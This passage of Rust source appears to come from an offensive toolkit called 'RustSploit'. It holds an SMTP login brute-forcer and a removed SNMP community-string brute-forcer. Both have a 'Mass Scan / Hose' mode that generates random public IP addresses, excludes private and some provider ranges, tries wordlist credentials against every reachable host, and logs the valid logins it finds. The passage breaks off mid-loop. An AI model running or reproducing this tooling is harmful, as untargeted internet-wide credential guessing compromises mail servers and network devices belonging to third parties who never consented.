"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
#[derive(Clone)]
struct SmtpBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
output_file: String,
delay_ms: u64,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
println!();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single Target Logic ---
let port = prompt_int_range("Port", 25, 1, 65535)? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file")?;
let password_wordlist = prompt_existing_file("Password wordlist file")?;
let threads = prompt_int_range("Threads", 8, 1, 256)? as usize;
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000)? as u64;
let stop_on_success = prompt_yes_no("Stop on first valid login?", true)?;
let full_combo = prompt_yes_no("Try every username with every password?", false)?;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output file for results", "smtp_results.txt")?;
let config = SmtpBruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
output_file,
delay_ms,
};
println!();
run_smtp_bruteforce(config).await
}
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let port = prompt_int_range("Port", 25, 1, 65535)? as u16;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "smtp_mass_results.txt")?;
// Parse exclusions
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} valid SMTP credentials found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
return;
}
let (users, passes) = &*creds;
// 2. Bruteforce
// Reuse existing blocking sync function inside spawn_blocking?
// The existing function uses std::net::TcpStream blocking.
// That's fine for small lists, but suboptimal for high concurrency.
// However, since we are inside a spawned tokio task, spawn_blocking is appropriate.
let target_str = ip.to_string();
for user in users {
for pass in passes {
let t_target = target_str.clone();
let t_user = user.clone();
let t_pass = pass.clone();
let t_port = port;
let t_target_inner = t_target.clone();
let t_user_inner = t_user.clone();
let t_pass_inner = t_pass.clone();
// Blocking call for the actual SMTP interaction (since it uses blocking Telnet/TcpStream)
let res = tokio::task::spawn_blocking(move || {
try_smtp_login(&t_target_inner, t_port, &t_user_inner, &t_pass_inner)
}).await;
match res {
Ok(Ok(true)) => {
let msg = format!("{} -> {}:{}", t_target, t_user, t_pass);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success
}
Ok(Ok(false)) => {
if verbose {
// Auth failed
}
}
Ok(Err(e)) => {
// Connection error
let err = e.to_string().to_lowercase();
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
return; // Stop scanning host
}
}
Err(_) => {
// Start/Join error
}
}
}
}
}
async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
let total_attempts = if config.full_combo {
usernames.len() * passwords.len()
} else {
std::cmp::max(usernames.len(), passwords.len())
};
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
println!("[*] Total attempts: {}", total_attempts);
let stats = Arc::new(BruteforceStats::new());
let found_creds = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let _start_time = std::time::Instant::now();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
stats_clone.print_progress();
}
});
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate combinations
let mut combos = Vec::new();
if config.full_combo {
for u in &usernames {
for p in &passwords {
combos.push((u.clone(), p.clone()));
}
}
} else {
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
combos.push((u.clone(), p.clone()));
}
}
// Process combinations
for (user, pass) in combos {
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let permit = semaphore.clone().acquire_owned().await?;
let config_clone = config.clone();
let stats_clone = stats.clone();
let found_clone = found_creds.clone();
let stop_signal_clone = stop_signal.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
tasks.push(tokio::spawn(async move {
let _permit = permit;
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
// Wrap blocking logic
let config_inner = config_clone.clone();
let user_inner = user_clone.clone();
let pass_inner = pass_clone.clone();
let res = tokio::task::spawn_blocking(move || {
match try_smtp_login(&config_inner.target, config_inner.port, &user_inner, &pass_inner) {
Ok(true) => Ok(true),
Ok(false) => Ok(false),
Err(e) => Err(e),
}
}).await;
match res {
Ok(Ok(true)) => {
println!("\r{}", format!("[+] Found: {}:{}", user_clone, pass_clone).green().bold());
found_clone.lock().await.push((user_clone.clone(), pass_clone.clone()));
stats_clone.record_success();
if config_clone.stop_on_success {
stop_signal_clone.store(true, Ordering::Relaxed);
}
},
Ok(Ok(false)) => {
stats_clone.record_failure();
if config_clone.verbose {
println!("\r{}", format!("[-] Failed: {}:{}", user_clone, pass_clone).dimmed());
}
},
Ok(Err(e)) => {
stats_clone.record_error(e.to_string()).await;
if config_clone.verbose {
println!("\r{}", format!("[!] Error {}:{}: {}", user_clone, pass_clone, e).red());
}
},
Err(e) => {
stats_clone.record_error(format!("Task panic: {}", e)).await;
}
}
if config_clone.delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
}
}));
// Memory management: drain completed tasks
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
}
while let Some(_) = tasks.next().await {}
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
// Save results
let found = found_creds.lock().await;
if !found.is_empty() {
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
use std::io::Write;
for (u, p) in found.iter() {
let _ = writeln!(file, "{}:{}", u, p);
}
println!("[+] Results saved to {}", config.output_file);
}
}
Ok(())
}
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(2000))?;
stream.set_read_timeout(Some(Duration::from_millis(2000)))?;
stream.set_write_timeout(Some(Duration::from_millis(2000)))?;
let mut telnet = Telnet::from_stream(Box::new(stream), 512);
let mut banner_ok = false;
for _ in 0..3 {
let event = telnet.read().context("Banner read")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("220") { banner_ok = true; break; }
}
}
if !banner_ok { return Err(anyhow!("No 220 banner")); }
telnet.write(b"EHLO scanner\r\n")?;
let mut login_ok = false;
let mut plain_ok = false;
let mut ehlo_seen = false;
for _ in 0..6 {
let event = telnet.read().context("EHLO read")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
if s.starts_with("250 ") { ehlo_seen = true; break; }
}
}
if !ehlo_seen { return Ok(false); }
// Try AUTH PLAIN
if plain_ok {
let mut blob = vec![0];
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
telnet.write(cmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read().context("Auth response")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
}
}
}
// Try AUTH LOGIN
if login_ok {
telnet.write(b"AUTH LOGIN\r\n")?;
// Wait for username prompt (334)
for _ in 0..2 {
let event = telnet.read().context("Auth Login prompt")?;
if let Event::Data(b) = event {
if String::from_utf8_lossy(&b).starts_with("334") { break; }
}
}
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
telnet.write(ucmd.as_bytes())?;
// Wait for password prompt (334)
for _ in 0..2 {
let event = telnet.read().context("Auth Pass prompt")?;
if let Event::Data(b) = event {
if String::from_utf8_lossy(&b).starts_with("334") { break; }
}
}
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
telnet.write(pcmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read().context("Auth final response")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
}
}
}
Ok(false)
}
@@ -1,716 +0,0 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
io::Write,
net::{SocketAddr, UdpSocket, IpAddr},
sync::Arc,
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
time::{Duration, Instant},
};
use tokio::{
sync::Mutex,
sync::Semaphore,
task::spawn_blocking,
time::sleep,
fs::OpenOptions,
io::AsyncWriteExt,
};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default, normalize_target,
};
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
const PROGRESS_INTERVAL_SECS: u64 = 2;
const STATE_FILE: &str = "snmp_hose_state.log";
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan());
println!("{}", " Community String Discovery Tool".cyan());
println!();
println!("{}", format!("[*] Target: {}", target).cyan());
// Check for Mass Scan Mode
let is_mass_scan = target == "random" || target == "0.0.0.0"
|| target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single-Target Logic ---
let default_port = 161;
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535)? as u16;
let communities_file = prompt_existing_file("Community string wordlist file path")?;
// Custom prompt for version since it's specific
let snmp_version = loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
match input.trim().to_lowercase().as_str() {
"1" => break 0, // SNMPv1
"2c" | "2" => break 1, // SNMPv2c
_ => println!("Invalid version. Enter '1' or '2c'."),
}
};
let concurrency = prompt_int_range("Max concurrent tasks", 50, 1, 1000)? as usize;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
// Output file handled by saving results at the end usually, but old code asked upfront.
// I'll stick to standard flow: prompt for save at end OR automatically if specified.
// Existing modules prompted for output file upfront. I'll do that for consistency with new standard.
let output_file = prompt_default("Output file", "snmp_results.txt")?;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300)? as u64;
let connect_addr = format!("{}:{}", normalize_target(target)?, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
println!("[!] Community wordlist is empty. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} community strings", communities.len()).cyan());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let _start_time = Instant::now();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
stats_clone.print_progress();
}
});
let communities = Arc::new(communities);
let mut tasks = FuturesUnordered::new();
let semaphore = Arc::new(Semaphore::new(concurrency));
for community in communities.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let permit = semaphore.clone().acquire_owned().await?;
let addr_clone = connect_addr.clone();
let community_clone = community.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let version = snmp_version;
let timeout = Duration::from_secs(timeout_secs);
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> community: '{}'", addr_clone, community_clone).green().bold());
found_clone
.lock()
.await
.push((addr_clone.clone(), community_clone.clone()));
stats_clone.record_success();
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose_flag {
println!("\r{}", format!("[-] {} -> community: '{}'", addr_clone, community_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose_flag {
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
}
}
}
sleep(Duration::from_millis(10)).await;
}));
// Drain
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
}
while let Some(_) = tasks.next().await {}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No valid community strings found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid community string(s):", creds.len()).green().bold());
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&output_file) {
for (host, community) in creds.iter() {
println!(" {} -> community: '{}'", host, community);
let _ = writeln!(file, "{} -> community: '{}'", host, community);
}
println!("[+] Results saved to '{}'", output_file);
}
}
Ok(())
}
async fn try_snmp_community(
normalized_addr: &str,
community: &str,
version: u8, // 0 = v1, 1 = v2c
timeout: Duration,
) -> Result<bool> {
let community_owned = community.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
// Parse the address
let addr: SocketAddr = addr_owned
.parse()
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
// Create UDP socket
let socket = UdpSocket::bind("0.0.0.0:0")
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
socket
.set_read_timeout(Some(timeout))
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
// Build SNMP GET request manually
// OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
let message = build_snmp_get_request(&community_owned, version);
// Send request
socket
.send_to(&message, &addr)
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
// Receive response
let mut buf = vec![0u8; 4096];
let result: bool = match socket.recv_from(&mut buf) {
Ok((size, _)) => {
let response = &buf[..size];
// Parse SNMP response to verify it's valid
// A valid SNMP response should:
// 1. Start with 0x30 (SEQUENCE)
// 2. Contain version, community, and PDU
// 3. Have error status = 0 (noError) in the response PDU
if size >= 20 && response[0] == 0x30 {
// Try to parse the response to check error status
// If we can parse it and error status is 0, it's valid
match parse_snmp_response(response) {
Ok(true) => true, // Valid community string
Ok(false) => false, // Invalid community (error in response)
Err(_) => {
// Can't parse, but got a response - might be valid
// Some devices send malformed responses but still indicate valid community
true
}
}
} else {
// Malformed response - likely invalid
false
}
}
Err(e) => {
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
// EAGAIN (os error 11) can occur on Linux when socket would block
let error_kind = e.kind();
if error_kind == std::io::ErrorKind::TimedOut
|| error_kind == std::io::ErrorKind::WouldBlock
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
{
// Timeout or would block - community string is likely invalid
false
} else {
// Other errors might be transient, but log them
// For now, treat as invalid to avoid false positives
false
}
}
};
Ok(result)
})
.await
.map_err(|e| anyhow!("Task join error: {}", e))?;
result
}
/// Parses SNMP response to check if error status is 0 (noError)
/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
if response.len() < 20 || response[0] != 0x30 {
return Err(anyhow!("Invalid SNMP response header"));
}
// Try to find the PDU (GetResponse-PDU = 0xa2)
// The structure is: SEQUENCE (version, community, PDU)
// We need to skip version and community to get to the PDU
let mut pos = 1;
// Skip length of outer SEQUENCE
if pos >= response.len() {
return Err(anyhow!("Response too short"));
}
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
pos += len_bytes;
// Skip version (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid version field"));
}
pos += 1;
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
pos += vlen_bytes + vlen;
// Skip community (OCTET STRING)
if pos >= response.len() || response[pos] != 0x04 {
return Err(anyhow!("Invalid community field"));
}
pos += 1;
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
pos += clen_bytes + clen;
// Now we should be at the PDU
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
if pos >= response.len() {
return Err(anyhow!("Response too short for PDU"));
}
let pdu_tag = response[pos];
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
// Not a GetResponse or GetRequest, might be an error
return Ok(false);
}
pos += 1;
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
pos += pdu_len_bytes;
// PDU structure: request-id, error-status, error-index, variable-bindings
// Skip request-id (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid request-id field"));
}
pos += 1;
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
pos += rid_len_bytes + rid_len;
// Read error-status (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid error-status field"));
}
pos += 1;
let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
return Err(anyhow!("Invalid error-status length"));
}
// Read the error status value
let error_status = if es_len == 1 {
response[pos + es_len_bytes] as u32
} else {
// Multi-byte integer (shouldn't happen for error status, but handle it)
let mut val = 0u32;
for i in 0..es_len {
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
}
val
};
// Error status 0 = noError, anything else is an error
Ok(error_status == 0)
}
/// Parses BER length field
/// Returns (length_value, number_of_bytes_consumed)
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
if data.is_empty() {
return Err(anyhow!("Empty length field"));
}
let first_byte = data[0];
if (first_byte & 0x80) == 0 {
// Short form: single byte
Ok((first_byte as usize, 1))
} else {
// Long form: first byte indicates number of length bytes
let num_bytes = (first_byte & 0x7F) as usize;
if num_bytes == 0 {
return Err(anyhow!("Indefinite length not supported"));
}
if num_bytes > 4 {
return Err(anyhow!("Length field too large"));
}
if data.len() < 1 + num_bytes {
return Err(anyhow!("Not enough bytes for length field"));
}
let mut length = 0usize;
for i in 0..num_bytes {
length = (length << 8) | (data[1 + i] as usize);
}
Ok((length, 1 + num_bytes))
}
}
/// Builds a simple SNMP GET request packet manually
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
// Build components first, then assemble with proper length encoding
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
// NULL value
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
// VarBind: SEQUENCE of (OID, NULL)
let mut var_bind = Vec::new();
var_bind.extend_from_slice(&oid_tlv);
var_bind.extend_from_slice(&null_tlv);
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
// VarBindList: SEQUENCE of VarBind
let mut var_bind_list_content = Vec::new();
var_bind_list_content.extend_from_slice(&var_bind_tlv);
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
// Request ID
let request_id_tlv = encode_integer_tlv(1u32);
// Error status (0 = noError)
let error_status_tlv = encode_integer_tlv(0u32);
// Error index (0 = noError)
let error_index_tlv = encode_integer_tlv(0u32);
// PDU: GetRequest-PDU
let mut pdu_content = Vec::new();
pdu_content.extend_from_slice(&request_id_tlv);
pdu_content.extend_from_slice(&error_status_tlv);
pdu_content.extend_from_slice(&error_index_tlv);
pdu_content.extend_from_slice(&var_bind_list_tlv);
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
// Version
let version_tlv = encode_integer_tlv(version as u32);
// Community string
let community_bytes = community.as_bytes();
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
// SNMP Message: SEQUENCE of (version, community, PDU)
let mut message_content = Vec::new();
message_content.extend_from_slice(&version_tlv);
message_content.extend_from_slice(&community_tlv);
message_content.extend_from_slice(&pdu_tlv);
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
message
}
/// Builds a TLV (Type-Length-Value) structure
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
let mut result = Vec::new();
result.push(tag);
let length = value.len();
if length < 128 {
// Short form: single byte length
result.push(length as u8);
} else {
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
// Calculate how many bytes we need for the length
let mut len = length;
let mut num_bytes = 0;
let mut len_bytes = Vec::new();
while len > 0 {
len_bytes.push((len & 0xFF) as u8);
len >>= 8;
num_bytes += 1;
}
// Reverse to get big-endian representation
len_bytes.reverse();
// First byte: 0x80 | number of length bytes
result.push(0x80 | (num_bytes as u8));
result.extend_from_slice(&len_bytes);
}
result.extend_from_slice(value);
result
}
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
fn encode_integer_tlv(value: u32) -> Vec<u8> {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
let mut val = value;
// Encode as big-endian, using minimum number of bytes
// For values that would have high bit set, we need an extra zero byte
// to ensure it's interpreted as positive
while val > 0 {
bytes.push((val & 0xFF) as u8);
val >>= 8;
}
bytes.reverse();
// If high bit is set, prepend 0x00 to make it positive
if bytes[0] & 0x80 != 0 {
bytes.insert(0, 0x00);
}
}
build_tlv(0x02, &bytes) // 0x02 = INTEGER
}
/// Encodes OID value (without the TLV wrapper)
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
let mut encoded = Vec::new();
if oid.len() >= 2 {
// First two sub-identifiers are encoded as: first * 40 + second
encoded.push((oid[0] * 40 + oid[1]) as u8);
for &sub_id in &oid[2..] {
encode_sub_id(sub_id, &mut encoded);
}
}
encoded
}
/// Encodes a sub-identifier using base-128 encoding
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
while value > 0 {
bytes.push((value & 0x7F) as u8);
value >>= 7;
}
bytes.reverse();
// Set high bit on all but last byte
for i in 0..bytes.len() - 1 {
bytes[i] |= 0x80;
}
}
output.extend_from_slice(&bytes);
}
/// Run mass scan logic (Hose style)
async fn run_mass_scan(target: &str) -> Result<()> {
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
let port = prompt_int_range("SNMP Port", 161, 1, 65535)? as u16;
let communities_file = prompt_existing_file("Community string wordlist")?;
let snmp_version = loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
match input.trim().to_lowercase().as_str() {
"1" => break 0,
"2c" | "2" => break 1,
_ => println!("Invalid version. Enter '1' or '2c'."),
}
};
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
return Err(anyhow!("Community wordlist cannot be empty"));
}
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300)? as u64;
let output_file = prompt_default("Output result file", "snmp_mass_results.txt")?;
// Parse exclusions
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
// Shared State
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((communities, snmp_version, timeout_secs));
// Stats Reporter
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} SNMP devices found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
